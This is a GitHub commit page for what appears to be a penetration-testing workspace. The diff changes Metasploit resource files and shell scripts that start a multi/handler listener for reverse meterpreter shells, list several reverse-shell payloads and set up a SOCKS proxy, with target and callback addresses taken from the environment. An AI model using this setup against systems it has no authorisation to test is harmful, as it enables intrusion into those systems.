Skip to content

Commit

Permalink
autoInjection: MetasploitFramework rhost lhost lport global variables
Browse files Browse the repository at this point in the history
  • Loading branch information
Esonhugh committed Apr 6, 2024
1 parent 1568262 commit c2717b2
Show file tree
Hide file tree
Showing 4 changed files with 30 additions and 11 deletions.
2 changes: 2 additions & 0 deletions .vscode/env.zsh
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,8 @@ export LHOST=`ifconfig|grep '10\.10\.'|cut -d ' ' -f2`
export LPORT=6789
export DOMAIN=

export METASPLOIT_INIT_COMMAND=""

################################################################
# Advanced settings

Expand Down
22 changes: 15 additions & 7 deletions .vscode/metasploit_handler.rc
Original file line number Diff line number Diff line change
@@ -1,22 +1,30 @@
set Prompt [Knight Operation Console]
set MeterpreterPrompt [Knight Enemy]
set Prompt [Meterpreter Operator Console]
set MeterpreterPrompt [Meterpreter Beacon]

# custom for your love

setg payload windows/meterpreter/reverse_tcp
# setg RHOSTS 114.5.1.4
# auto set up the socks proxy
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
# run -j

use multi/handler
# Choose one of your payload
# set payload windows/meterpreter/reverse_tcp
# set payload windows/x64/meterpreter/reverse_tcp
# set payload linux/x86/meterpreter/reverse_tcp
# set payload linux/x64/meterpreter/reverse_tcp
# set payload php/meterpreter/reverse_tcp
# set payload generic/shell_reverse_tcp

set ExitOnSession false
set LHOST 0.0.0.0
set LPORT 6789

# uncomment this for Automatically creating a job listener background with multi listeners
# run -j
# Other payloads
# set payload linux/x64/meterpreter/reverse_tcp
# set LPORT 6790
#

# uncomment this for Automatically creating a job listener background
# run -j
4 changes: 2 additions & 2 deletions .vscode/msfconsole.rc
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
set Prompt [Knight Operation Console]
set MeterpreterPrompt [Knight Enemy]
set Prompt [Operator Console]
set MeterpreterPrompt [Meterpreter Beacon]

#
13 changes: 11 additions & 2 deletions .vscode/source.zsh
Original file line number Diff line number Diff line change
Expand Up @@ -22,13 +22,22 @@ if [ "$WEB_DELIVERY_MODE" ]; then
exit 0
fi


export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg RHOSTS $RHOST;"
export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg LHOST $LHOST;"
export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg LPORT $LPORT;"
export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg VHOST $DOMAIN;"


if [ "$METASPLOIT_HANDLER_MODE" ]; then
msfconsole -r "$PROJECT_FOLDER/.vscode/metasploit_handler.rc"
msfconsole -r "$PROJECT_FOLDER/.vscode/metasploit_handler.rc" \
-x "${METASPLOIT_INIT_COMMAND}"
exit 0
fi

if [ "$METASPLOIT_CONSOLE_MODE" ]; then
msfconsole -r "$PROJECT_FOLDER/.vscode/msfconsole.rc"
msfconsole -r "$PROJECT_FOLDER/.vscode/msfconsole.rc" \
-x "${METASPLOIT_INIT_COMMAND}"
exit 0
fi

Expand Down

0 comments on commit c2717b2

Please sign in to comment.